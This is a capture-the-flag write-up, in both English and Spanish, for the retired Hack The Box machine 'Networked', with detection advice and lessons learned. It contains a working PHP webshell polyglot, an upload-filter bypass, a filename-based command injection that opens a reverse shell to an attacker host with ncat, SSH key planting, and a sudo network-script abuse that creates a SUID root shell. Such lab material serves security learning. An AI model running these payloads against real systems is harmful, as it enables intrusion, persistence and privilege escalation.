Networked
Executive summary — Networked exposes a source-code backup through a forgotten directory listing, which turns the attack into a white-box exercise: reading
upload.php/lib.phpreveals how to build a.php.jpgfilename that passes both the extension whitelist and the MIME-type check, and that Apache still executes because of a badly anchoredAddHandlerdirective — RCE asapache. From there, a cron job that's supposed to watch for attacks (check_attack.php) turns out to be vulnerable to command injection through the filename itself, granting access asguly(user.txt). The final jump to root abuses asudoscript that writes a network configuration without quoting: once "sourced" byifup, a value containing a space is interpreted as a variable assignment followed by the execution of an arbitrary command as root.
| Platform | Hack The Box |
| Operating system | Linux (CentOS Linux 7.6.1810) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.48.147 |
Attack map
[80/HTTP] /backup -- directory listing enabled -> backup.tar (PHP source)
│
▼
[upload.php] Upload whitelist bypass -- double extension .php.jpg +
GIF header (magic bytes)
│ AddHandler php5-script .php (not anchored to the end) -> Apache
│ executes the intermediate ".php" in the filename
▼
[RCE] apache -- polyglot webshell uploaded to /uploads
│ guly's cron job (check_attack.php) interpolates the unsanitized
│ FILENAME straight into exec()
▼
[SSH] guly (user.txt)
│ sudo NOPASSWD /usr/local/sbin/changename.sh -> ifup "sources" the
│ generated ifcfg as if it were a bash script
▼
[ROOT] NAME=x /tmp/x executed as root when the interface loads (root.txt)
1. Reconnaissance
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.147
Not shown: 65483 filtered tcp ports (no-response), 49 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Two useful details before even touching the services: a ping comes back with ttl=63 — one router hop away from an initial TTL of 64, typical of Linux. And the host-prohibited filtering reason (ICMP type 3, code 10) is the characteristic response of firewalld/iptables with REJECT --reject-with icmp-host-prohibited, the default rule on RHEL/CentOS — the distro can be guessed before a single banner is seen.
sudo nmap -p22,80 -sCV -Pn -oN nmap-services.txt 10.129.48.147
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
OpenSSH 7.4 + Apache 2.4.6 + PHP 5.4.16 confirm CentOS 7. PHP 5.4 has been unsupported since 2015: a good sign the vector will be in the web app.
curl -s http://10.129.48.147/
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
The HTML comment upload and gallery not yet linked is the tell: functionality has been deployed but not linked from the index page. "Not linked" isn't an access control.
gobuster dir -u http://10.129.48.147/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20 -x php,txt,html -q -o gobuster80.txt
/index.php (Status: 200) [Size: 229]
/uploads (Status: 301) [--> http://10.129.48.147/uploads/]
/photos.php (Status: 200) [Size: 1302]
/upload.php (Status: 200) [Size: 169]
/lib.php (Status: 200) [Size: 0]
/backup (Status: 301) [--> http://10.129.48.147/backup/]
Resumen ejecutivo — Networked expone un backup del código fuente por un listado de directorios olvidado, lo que convierte el ataque en caja blanca: la lectura de
upload.php/lib.phprevela cómo construir un nombre de fichero.php.jpgque pasa la whitelist de extensión y el chequeo de tipo MIME, y que Apache ejecuta igualmente por una directivaAddHandlermal anclada — RCE comoapache. Desde ahí, un cron que se supone vigila ataques (check_attack.php) resulta ser él mismo vulnerable a inyección de comandos vía el nombre de fichero, lo que da acceso comoguly(user.txt). El salto final a root abusa de un script desudoque escribe una configuración de red sin comillas: al ser "sourceada" porifup, un valor con espacio se interpreta como una asignación de variable seguida de la ejecución de un comando arbitrario como root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (CentOS Linux 7.6.1810) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.48.147 |
Mapa del ataque
[80/HTTP] /backup -- listado de directorios habilitado -> backup.tar (fuente PHP)
│
▼
[upload.php] Bypass de la whitelist de subida -- doble extensión .php.jpg +
cabecera GIF (magic bytes)
│ AddHandler php5-script .php (sin anclar al final) -> Apache ejecuta el
│ ".php" intermedio del nombre
▼
[RCE] apache -- webshell polyglot subida a /uploads
│ cron de guly (check_attack.php) interpola el NOMBRE del fichero, sin
│ sanear, dentro de exec()
▼
[SSH] guly (user.txt)
│ sudo NOPASSWD /usr/local/sbin/changename.sh -> ifup hace "source" del
│ ifcfg generado como si fuera un script de bash
▼
[ROOT] NAME=x /tmp/x ejecutado como root al cargar la interfaz (root.txt)
1. Reconocimiento
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.48.147
Not shown: 65483 filtered tcp ports (no-response), 49 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Dos detalles útiles antes incluso de tocar los servicios: un ping devuelve ttl=63 — un solo salto de router desde un TTL inicial de 64, típico de Linux. Y el motivo de filtrado host-prohibited (ICMP tipo 3, código 10) es la respuesta característica de firewalld/iptables con REJECT --reject-with icmp-host-prohibited, la regla por defecto de RHEL/CentOS — se puede intuir la distribución antes de ver un solo banner.
sudo nmap -p22,80 -sCV -Pn -oN nmap-services.txt 10.129.48.147
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
OpenSSH 7.4 + Apache 2.4.6 + PHP 5.4.16 confirman CentOS 7. PHP 5.4 lleva sin soporte desde 2015: buena señal de que el vector estará en la web.
curl -s http://10.129.48.147/
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
El comentario HTML upload and gallery not yet linked es la pista: existen funcionalidades desplegadas pero no enlazadas desde el índice. "No enlazado" no es un control de acceso.
gobuster dir -u http://10.129.48.147/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20 -x php,txt,html -q -o gobuster80.txt
/index.php (Status: 200) [Size: 229]
/uploads (Status: 301) [--> http://10.129.48.147/uploads/]
/photos.php (Status: 200) [Size: 1302]
/upload.php (Status: 200) [Size: 169]
/lib.php (Status: 200) [Size: 0]
/backup (Status: 301) [--> http://10.129.48.147/backup/]
2. Source code leak
/backup/ has directory listing enabled (Options +Indexes):
curl -s http://10.129.48.147/backup/ | sed 's/<[^>]*>//g' | grep -vE '^\s*$'
Index of /backup
Parent Directory
backup.tar 2019-07-09 13:33 10K
wget http://10.129.48.147/backup/backup.tar
mkdir src && tar -xf backup.tar -C src && ls -l src/
-rw-r--r-- 1 kali kali 229 Jul 9 2019 index.php
-rw-r--r-- 1 kali kali 2001 Jul 2 2019 lib.php
-rw-r--r-- 1 kali kali 1871 Jul 2 2019 photos.php
-rw-r--r-- 1 kali kali 1331 Jul 2 2019 upload.php
Having the code turns this into a white-box attack: instead of guessing the upload filter blindly, it can be read.
3. Upload filter bypass
upload.php applies three checks to the incoming file:
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) { echo "<p>Invalid image file</p>"; displayform(); exit; }
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
| Check | Implementation | How it's satisfied |
|---|---|---|
| File type | check_file_type() → finfo_file(), requires a MIME type starting with image/ | It's enough for the first bytes to be an image header (GIF89a;). libmagic looks at the content, not the rest of the file. |
| Extension | substr_compare() requires the name to end in .jpg/.png/.gif/.jpeg | The name ends in .jpg; nothing stops it from containing .php earlier. |
| Size | < 60000 bytes | Trivial. |
The key is in how the final name is built, in lib.php:
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces); // "shell"
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces); // "php.jpg" <- keeps EVERYTHING but the first piece
return array($name,$ext);
}
For shell.php.jpg the computed extension is php.jpg (not jpg), and the file is saved under the name produced by str_replace('.','_','<ATTACKER_IP>') . '.' . 'php.jpg', i.e. 10_10_15_118.php.jpg.
The file keeps an intermediate .php. That only matters because of the Apache config on CentOS 7:
grep -vE '^\s*#|^\s*$' /etc/httpd/conf.d/php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
Apache's AddHandler is not anchored to the end of the name: it acts on any extension the file has. Apache treats filenames as a list of dot-separated extensions, so 10_10_15_118.php.jpg carries both php and jpg, and the first one triggers the php5-script handler.
This class of bug —where Apache fires a handler based on an extension appearing anywhere in the name, not just at the end— is known as multi-extension content-type confusion, and it's the exact reason modern configuration recommends
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>, which does anchor to the end of the name. Legacyphp.conffiles usingAddHandlergradually disappeared from distros for this exact reason, though as of 2019 CentOS 7 was still shipping thephppackage with the old directive.
4. RCE as apache
A polyglot is built: a valid GIF header followed by PHP code.
printf 'GIF89a;\n<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]." 2>&1");echo "</pre>";} ?>\n' > shell.php.jpg
file --mime-type shell.php.jpg
shell.php.jpg: image/gif <- passes check_file_type()
curl -s -F "myFile=@shell.php.jpg" -F "submit=go!" http://10.129.48.147/upload.php
<p>file uploaded, refresh gallery</p>
The destination filename is deterministic (derived from our VPN IP, <ATTACKER_IP>):
curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=id;uname%20-a;pwd"
GIF89a;
uid=48(apache) gid=48(apache) groups=48(apache)
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
/var/www/html/uploads
A small wrapper to work comfortably:
#!/bin/bash
python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1" > /tmp/.q
curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=$(cat /tmp/.q)" | sed '1d' | sed 's|</\?pre>||g'
5. From apache to guly — command injection in the cron job
./run.sh 'ls -la /home/guly; cat /home/guly/crontab.guly; cat /home/guly/check_attack.php'
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Aug 21 15:35 user.txt
*/3 * * * * php /home/guly/check_attack.php
Confirmed in the real spool (/var/spool/cron/guly). A cron job running as guly every 3 minutes over a directory that apache can write to. The code:
$path = '/var/www/html/uploads/';
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
if ($value == 'index.html') continue;
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) { // the prefix is NOT a valid IP
echo "attack!\n";
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); // <- $value NOT sanitized
mail($to, $msg, $msg, $headers, "-F$value");
}
}
The irony is that the routine meant to detect attacks is the vulnerable one.
$valueis an attacker-controlled filename that gets interpolated straight intoexec().
Conditions the filename must satisfy:
- Can't start with
.—preg_grep('/^([^.])/'). - The piece before the first
.(with_→.) must not be a valid IP, to reach theif (!($check[0]))branch. - Can't contain
/— it's a POSIX filename.
The last point rules out the usual payloads (nc -e /bin/bash, bash -i >& /dev/tcp/...). The fix is ncat -c, which hands the command to /bin/sh -c and therefore resolves bash through PATH, no absolute paths needed — confirmed ncat was available with ./run.sh 'ls /usr/bin/nc /usr/bin/ncat /usr/bin/socat'.
Since the resulting shell isn't interactive, a listener fed by a FIFO is set up so commands can be injected from another terminal:
mkfifo nfifo; : > cmds.txt
(setsid tail -f cmds.txt > nfifo 2>/dev/null &) # keeps the FIFO open
(setsid nc -lvnp 4444 < nfifo > shell.log 2>&1 &)
tail -f is what stops nc from seeing EOF on stdin after the first command. The trigger:
./run.sh "cd /var/www/html/uploads && touch -- '; nc -c bash <ATTACKER_IP> 4444;' && ls -la"
-rw-r--r-- 1 apache apache 0 Aug 21 15:50 ; nc -c bash <ATTACKER_IP> 4444;
When the cron job processes that file, the line it runs as guly looks like this:
nohup /bin/rm -f /var/www/html/uploads/; nc -c bash <ATTACKER_IP> 4444; > /dev/null 2>&1 &
# └── command 1 (fails) ─┘└──── command 2: our shell ────┘└─ command 3 ─┘
Only the third command gets backgrounded, so the reverse shell (command 2) runs in the foreground and stays alive:
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.48.147] 42554
ssh-keygen -t rsa -b 2048 -f id_guly -N '' -q
{ echo "id; cat /home/guly/user.txt";
echo "mkdir -p ~/.ssh && echo '$(cat id_guly.pub)' > ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys";
} >> cmds.txt
uid=1000(guly) gid=1000(guly) groups=1000(guly)
a5d253145e46912462a4e26321720d31
user.txt: a5d253145e46912462a4e26321720d31
From here, stable, TTY-backed access:
ssh -i id_guly guly@10.129.48.147
6. Privilege escalation — sudo over changename.sh
sudo -n -l
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
There's validation… but the character class includes space and slash: ^[a-zA-Z0-9_\ /-]+$. ;, |, $, backticks and quotes are all blocked, so there's no direct shell injection in changename.sh. Execution arrives from somewhere else.
The real bug: ifup sources the file. /sbin/ifup ends up calling source_config() in /etc/sysconfig/network-scripts/network-functions:
source_config ()
{
CONFIG=${CONFIG##*/}
DEVNAME=${CONFIG##ifcfg-}
. /etc/sysconfig/network-scripts/$CONFIG # <- the ifcfg is INTERPRETED as a bash script
The config file isn't parsed: it's executed via . (source). And changename.sh writes the line with echo $var=$x unquoted, so the value is copied verbatim. In Bash, the line NAME=a /tmp/x isn't an assignment: it's an invocation of the command /tmp/x with the variable NAME=a set in its environment. When the ifcfg is sourced as root, that command runs as root.
Since the filter rejects ;, . and quotes, a complex one-liner can't be written directly into the value. But it does allow /, letters and digits: pointing at a script of our own on a dot-free path, e.g. /tmp/x, is enough.
cat > /tmp/x <<"EOS"
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
id > /tmp/proof
cat /root/root.txt > /tmp/rootflag 2>&1
chmod 644 /tmp/proof /tmp/rootflag
EOS
chmod +x /tmp/x
printf 'a /tmp/x\nnone\nno\ndhcp\n' | sudo /usr/local/sbin/changename.sh
interface NAME:
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
The ifup error is irrelevant: the source happens before the device-existence check.
cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=a /tmp/x <- executed when sourced
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
cat /tmp/proof /tmp/rootflag; ls -la /tmp/rootbash
uid=0(root) gid=0(root) groups=0(root)
84c26ee06c47a183f46c665f422e5a65
-rwsr-xr-x 1 root root 964608 Aug 21 15:53 /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(guly) gid=1000(guly) euid=0(root) groups=1000(guly)
84c26ee06c47a183f46c665f422e5a65
root.txt: 84c26ee06c47a183f46c665f422e5a65
Interactive variant: with a real TTY, simply entering
a /bin/bashas theNAMEvalue returns a direct root shell. The helper script in/tmp/xis used here because it can be automated over a non-interactive SSH session and leaves reproducible evidence.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | /backup/ | Directory listing enabled (CWE-548) exposing backup.tar with the source code (CWE-540) | White-box attack on upload.php/lib.php |
| Foothold | upload.php / lib.php | Upload whitelist bypassable via double extension + magic bytes (CWE-434) | .php.jpg file accepted into /uploads |
| Foothold | /etc/httpd/conf.d/php.conf | AddHandler php5-script .php not anchored to the end of the name (CWE-16) | RCE as apache via a GIF/PHP polyglot |
| App-level escalation | check_attack.php (guly's cron job) | Attacker-controlled filename interpolated unescaped into exec() (CWE-78) | RCE as guly (user.txt) |
| PrivEsc | /usr/local/sbin/changename.sh (sudo NOPASSWD) + network-functions | Unquoted config value, executed by ifup via source (CWE-78 / CWE-250) | Root via SUID bash (root.txt) |
Detection
- Requests to a resource with
Options +Indexesfollowed by downloading a file that should never sit in a public directory (.tar,.zip,.sql) — a WAF or Apache's own access log can alert on an extension being served outside the site's expected set. - A
POSTto an upload endpoint followed, seconds later, by aGETto the just-uploaded file with a previously unseen query parameter (?c=) — the near-perfect signature of a freshly planted and used webshell. - The "attack detection" cron itself writing entries to
attacks.logwith filenames that aren't IP addresses — ironically, that log is the best early-warning source if it's shipped to a SIEM instead of staying on local disk. sudoinvocations of/usr/local/sbin/changename.shoutside a network-maintenance window —/var/log/secureon RHEL/CentOS records every sudo execution with the full command, so the cadence and timing alone are a signal.- New SUID binaries appearing outside the system's base inventory — a periodic
find / -perm -4000sweep (or a file-integrity tool like AIDE) catches a/tmp/rootbashon the very first cycle.
Lessons learned
- A directory listing left enabled in production (
Options +Indexes) can leak an application's entire source code and turn any later assessment into a white-box exercise. - Validating an upload extension requires anchoring the check to the real end of the constructed name — rebuilding the name from fragments (
explode('.', ...)) without revalidating the result reintroduces the exact bug the whitelist was meant to prevent. - Apache's
AddHandleracts on any extension in the name, not just the last one;<FilesMatch \.php$>is the correct way to anchor a handler. - A cron job built to "detect attacks" that interpolates attacker-controlled data (the filename) into
exec()without escaping it is, by itself, the most dangerous attack surface on the box — good intentions in the code don't make it safe. - Any
sudoscript that writes network configuration must quote its values: on RHEL/CentOS,ifuprunsifcfg-*files as bash scripts viasource, so an unquotedVAR=valueline where the value contains a space stops being an assignment and becomes arbitrary command execution as root.
2. Fuga de código fuente
/backup/ tiene el listado de directorios habilitado (Options +Indexes):
curl -s http://10.129.48.147/backup/ | sed 's/<[^>]*>//g' | grep -vE '^\s*$'
Index of /backup
Parent Directory
backup.tar 2019-07-09 13:33 10K
wget http://10.129.48.147/backup/backup.tar
mkdir src && tar -xf backup.tar -C src && ls -l src/
-rw-r--r-- 1 kali kali 229 Jul 9 2019 index.php
-rw-r--r-- 1 kali kali 2001 Jul 2 2019 lib.php
-rw-r--r-- 1 kali kali 1871 Jul 2 2019 photos.php
-rw-r--r-- 1 kali kali 1331 Jul 2 2019 upload.php
Tener el código convierte el ataque en caja blanca: en vez de adivinar el filtro de subida a ciegas, se lee.
3. Bypass del filtro de subida
upload.php aplica tres controles sobre el fichero recibido:
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) { echo "<p>Invalid image file</p>"; displayform(); exit; }
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
| Control | Implementación | Cómo se cumple |
|---|---|---|
| Tipo de fichero | check_file_type() → finfo_file(), exige MIME que empiece por image/ | Basta con que los primeros bytes sean una cabecera de imagen (GIF89a;). libmagic mira el contenido, no el resto del fichero. |
| Extensión | substr_compare() exige que el nombre termine en .jpg/.png/.gif/.jpeg | El nombre termina en .jpg; nada impide que contenga .php antes. |
| Tamaño | < 60000 bytes | Trivial. |
La clave está en cómo se construye el nombre final, en lib.php:
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces); // "shell"
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces); // "php.jpg" <- se conserva TODO menos la primera pieza
return array($name,$ext);
}
Para shell.php.jpg la extensión calculada es php.jpg (no jpg), y el fichero se guarda con el nombre resultante de str_replace('.','_','<ATTACKER_IP>') . '.' . 'php.jpg', es decir 10_10_15_118.php.jpg.
El fichero conserva un .php intermedio. Eso sólo importa por la configuración de Apache en CentOS 7:
grep -vE '^\s*#|^\s*$' /etc/httpd/conf.d/php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
AddHandler en Apache no se ancla al final del nombre: actúa sobre cualquier extensión del fichero. Apache trata los nombres como una lista de extensiones separadas por puntos, así que 10_10_15_118.php.jpg tiene las extensiones php y jpg, y la primera activa el handler php5-script.
Esta familia de fallos —donde Apache activa un handler por la mera presencia de una extensión en cualquier posición del nombre, no solo al final— se conoce como content-type confusion por extensión múltiple, y es la razón exacta por la que la configuración moderna recomienda
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>, que sí ancla al final del nombre. Losphp.confheredados conAddHandlerfueron desapareciendo de las distribuciones precisamente por este motivo, aunque en 2019 CentOS 7 seguía distribuyendo el paquetephpcon la directiva antigua.
4. RCE como apache
Se construye un polyglot: cabecera GIF válida seguida de código PHP.
printf 'GIF89a;\n<?php if(isset($_REQUEST["c"])){echo "<pre>";system($_REQUEST["c"]." 2>&1");echo "</pre>";} ?>\n' > shell.php.jpg
file --mime-type shell.php.jpg
shell.php.jpg: image/gif <- supera check_file_type()
curl -s -F "myFile=@shell.php.jpg" -F "submit=go!" http://10.129.48.147/upload.php
<p>file uploaded, refresh gallery</p>
El nombre destino es determinista (deriva de nuestra IP de VPN, <ATTACKER_IP>):
curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=id;uname%20-a;pwd"
GIF89a;
uid=48(apache) gid=48(apache) groups=48(apache)
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
/var/www/html/uploads
Pequeño wrapper para trabajar cómodo:
#!/bin/bash
python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1" > /tmp/.q
curl -s "http://10.129.48.147/uploads/10_10_15_118.php.jpg?c=$(cat /tmp/.q)" | sed '1d' | sed 's|</\?pre>||g'
5. De apache a guly — inyección de comandos en el cron
./run.sh 'ls -la /home/guly; cat /home/guly/crontab.guly; cat /home/guly/check_attack.php'
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Aug 21 15:35 user.txt
*/3 * * * * php /home/guly/check_attack.php
Confirmado en el spool real (/var/spool/cron/guly). Un cron que corre como guly cada 3 minutos sobre un directorio en el que apache puede escribir. El código:
$path = '/var/www/html/uploads/';
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
if ($value == 'index.html') continue;
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) { // el prefijo NO es una IP válida
echo "attack!\n";
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); // <- $value SIN sanear
mail($to, $msg, $msg, $headers, "-F$value");
}
}
La lógica es irónica: la rutina que existe para detectar ataques es la vulnerable.
$valuees un nombre de fichero controlado por el atacante y se interpola directamente enexec().
Condiciones que debe cumplir el nombre:
- No empezar por
.—preg_grep('/^([^.])/'). - La primera pieza antes del primer
.(con_→.) no debe ser una IP válida, para entrar en la ramaif (!($check[0])). - No puede contener
/— es un nombre de fichero POSIX.
El último punto descarta los payloads habituales (nc -e /bin/bash, bash -i >& /dev/tcp/...). La solución es ncat -c, que pasa la orden a /bin/sh -c y por tanto resuelve bash vía PATH, sin necesidad de rutas absolutas — confirmado que ncat estaba disponible con ./run.sh 'ls /usr/bin/nc /usr/bin/ncat /usr/bin/socat'.
Como la shell recibida no es interactiva, se monta un listener alimentado por un FIFO al que se le pueden inyectar comandos desde otra terminal:
mkfifo nfifo; : > cmds.txt
(setsid tail -f cmds.txt > nfifo 2>/dev/null &) # mantiene el FIFO abierto
(setsid nc -lvnp 4444 < nfifo > shell.log 2>&1 &)
tail -f es lo que evita que nc vea EOF en stdin tras el primer comando. El disparo:
./run.sh "cd /var/www/html/uploads && touch -- '; nc -c bash <ATTACKER_IP> 4444;' && ls -la"
-rw-r--r-- 1 apache apache 0 Aug 21 15:50 ; nc -c bash <ATTACKER_IP> 4444;
Cuando el cron procesa ese fichero, la línea que se ejecuta como guly queda así:
nohup /bin/rm -f /var/www/html/uploads/; nc -c bash <ATTACKER_IP> 4444; > /dev/null 2>&1 &
# └── comando 1 (falla) ─┘└──── comando 2: nuestra shell ────┘└─ comando 3 ─┘
Sólo el tercer comando queda en segundo plano, así que la shell inversa (comando 2) se ejecuta en primer plano y se mantiene viva:
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.48.147] 42554
ssh-keygen -t rsa -b 2048 -f id_guly -N '' -q
{ echo "id; cat /home/guly/user.txt";
echo "mkdir -p ~/.ssh && echo '$(cat id_guly.pub)' > ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys";
} >> cmds.txt
uid=1000(guly) gid=1000(guly) groups=1000(guly)
a5d253145e46912462a4e26321720d31
user.txt: a5d253145e46912462a4e26321720d31
A partir de aquí, acceso estable y con TTY:
ssh -i id_guly guly@10.129.48.147
6. Escalada a root — sudo sobre changename.sh
sudo -n -l
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Hay una validación… pero la clase de caracteres incluye el espacio y la barra: ^[a-zA-Z0-9_\ /-]+$. Se bloquean ;, |, $, backticks y comillas, así que no hay inyección de shell directa en changename.sh. La ejecución llega por otro sitio.
El fallo real: ifup hace source del fichero. /sbin/ifup termina llamando a source_config() en /etc/sysconfig/network-scripts/network-functions:
source_config ()
{
CONFIG=${CONFIG##*/}
DEVNAME=${CONFIG##ifcfg-}
. /etc/sysconfig/network-scripts/$CONFIG # <- el ifcfg se INTERPRETA como script bash
El fichero de configuración no se parsea: se ejecuta con . (source). Y changename.sh escribe la línea con echo $var=$x sin comillas, de modo que el valor se copia tal cual. En Bash, la línea NAME=a /tmp/x no es una asignación: es la invocación del comando /tmp/x con la variable NAME=a en su entorno. Al hacer source del ifcfg como root, ese comando se ejecuta como root.
Como el filtro no admite ;, . ni comillas, no se puede escribir un one-liner complejo en el propio valor. Pero sí admite /, letras y dígitos: basta con apuntar a un script propio en una ruta sin puntos, por ejemplo /tmp/x.
cat > /tmp/x <<"EOS"
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
id > /tmp/proof
cat /root/root.txt > /tmp/rootflag 2>&1
chmod 644 /tmp/proof /tmp/rootflag
EOS
chmod +x /tmp/x
printf 'a /tmp/x\nnone\nno\ndhcp\n' | sudo /usr/local/sbin/changename.sh
interface NAME:
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
El error de ifup es irrelevante: el source ocurre antes de comprobar si el dispositivo existe.
cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=a /tmp/x <- se ejecuta al hacer source
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
cat /tmp/proof /tmp/rootflag; ls -la /tmp/rootbash
uid=0(root) gid=0(root) groups=0(root)
84c26ee06c47a183f46c665f422e5a65
-rwsr-xr-x 1 root root 964608 Aug 21 15:53 /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(guly) gid=1000(guly) euid=0(root) groups=1000(guly)
84c26ee06c47a183f46c665f422e5a65
root.txt: 84c26ee06c47a183f46c665f422e5a65
Variante interactiva: con una TTY real, introducir simplemente
a /bin/bashcomo valor deNAMEdevuelve una shell de root directa. El script auxiliar en/tmp/xse usa aquí porque permite automatizarlo por SSH no interactivo y deja evidencia reproducible.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | /backup/ | Listado de directorios habilitado (CWE-548) que expone backup.tar con el código fuente (CWE-540) | Ataque en caja blanca sobre upload.php/lib.php |
| Foothold | upload.php / lib.php | Whitelist de subida eludible por doble extensión + magic bytes (CWE-434) | Fichero .php.jpg aceptado en /uploads |
